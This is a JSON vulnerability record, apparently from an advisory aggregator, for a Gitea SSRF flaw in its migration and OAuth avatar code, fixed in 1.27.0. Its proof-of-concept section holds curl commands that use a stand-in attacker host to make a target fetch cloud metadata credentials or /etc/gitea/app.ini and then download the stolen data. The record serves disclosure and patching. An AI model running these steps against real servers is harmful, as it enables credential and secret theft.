{"id":"CVE-2026-34966","aliases":["BIT-gitea-2026-34966","CVE-2026-59765","GHSA-2wm4-vwp6-v7xc","GO-2026-6039"],"url":"https://o3.security/vulnerability/CVE-2026-34966","summary":"Gitea prior to 1.27.0 SSRF via Migration URI Fetch Bypass","details":"### Summary\n\nGitea has robust SSRF protection via `hostmatcher.NewDialContext()` for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw `http.Get()` (Go's `DefaultClient`) which completely bypasses this protection, enabling SSRF to internal services and local file read via the `file://` scheme.\n\n### Vulnerable Code\n\n**File: `modules/uri/uri.go` (line 32) -- Core vulnerability**\n\n```go\nfunc Open(uriStr string) (io.ReadCloser, error) {\n    u, err := url.Parse(uriStr)\n    switch strings.ToLower(u.Scheme) {\n    case \"http\", \"https\":\n        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering\n        return f.Body, nil\n    case \"file\":\n        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme\n    }\n}\n```\n\n**Callers in migration path:**\n- `services/migrations/gitea_uploader.go:340` -- `uri.Open(*asset.DownloadURL)` for release assets\n- `services/migrations/gitea_uploader.go:586` -- `uri.Open(pr.PatchURL)` for PR patches\n\n**File: `services/migrations/dump.go` (lines 312, 453)**\n\n```go\n// Line 312 -- release asset download\nresp, err := http.Get(*asset.DownloadURL)\n\n// Line 453 -- PR patch download (with self-documenting TODO)\nresp, err := http.Get(u) // TODO: This probably needs to use the downloader\n```\n\n**File: `routers/web/auth/oauth.go` (line 306)**\n\n```go\nfunc oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {\n    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher\n```\n\n**Contrast with protected migration clone (same codebase):**\n\n```go\n// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher\ntransport.DialContext = hostmatcher.NewDialContext(\"migration\", allowList, blockList, ...)\n```\n\n### PoC\n\n```bash\n# Step 1: Set up attacker Gitea instance with malicious release asset URLs\n# Create a repo on evil.gitea.attacker.com with a release asset whose\n# download_url points to internal services:\n\n# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role\n# Or: file:///etc/gitea/app.ini (local file read)\n\n# Step 2: Admin triggers migration from attacker's Gitea instance\ncurl -s -X POST \"https://target-gitea.com/api/v1/repos/migrate\" \\\n  -H \"Authorization: token ADMIN_API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"clone_addr\": \"https://evil.gitea.attacker.com/user/repo.git\",\n    \"repo_name\": \"migrated-repo\",\n    \"repo_owner\": \"admin\",\n    \"service\": \"gitea\"\n  }'\n\n# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()\n# Cloud metadata is saved as the release asset attachment in the migrated repo\n# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme\n\n# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data\ncurl -s \"https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt\"\n```\n\n### Impact\n\n- **Cloud metadata theft:** `169.254.169.254` reachable via unfiltered `http.Get()` (AWS IMDSv1 credentials, GCP tokens)\n- **Local file read:** `file://` scheme in `uri.Open()` reads `/etc/gitea/app.ini` (database credentials, JWT signing secrets, SMTP passwords)\n- **Internal service scanning:** Reach `127.0.0.1`, `10.x`, `172.16-31.x`, `192.168.x` networks\n- **Bypasses existing SSRF protection:** The `hostmatcher` dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected\n- Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source","published":"2026-08-05T20:28:57.744Z","modified":"2026-10-21T02:56:56.805919623Z","cvss":null,"epss":{"score":0.00321,"percentile":0.25138,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"code.gitea.io/gitea","fixedVersion":"1.27.0"},{"ecosystem":"Go","name":"gitea.dev","fixedVersion":"1.27.0"}],"fix":{"url":"https://github.com/go-gitea/gitea/commit/b969123b7fac51c88daab5cb64e5b2f4abd53288","label":"go-gitea/gitea@b969123"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34966.json"},{"type":"ADVISORY","url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-2wm4-vwp6-v7xc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34966"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/gitea-prior-to-ssrf-via-migration-uri-fetch-bypass"},{"type":"FIX","url":"https://github.com/go-gitea/gitea/commit/b969123b7fac51c88daab5cb64e5b2f4abd53288"},{"type":"PACKAGE","url":"https://github.com/go-gitea/gitea"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59765"},{"type":"WEB","url":"https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"},{"type":"WEB","url":"https://blog.gitea.com/gitea-1.27.0-is-released"},{"type":"WEB","url":"https://github.com/go-gitea/gitea/releases/tag/v1.27.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:56:56.805919623Z"}}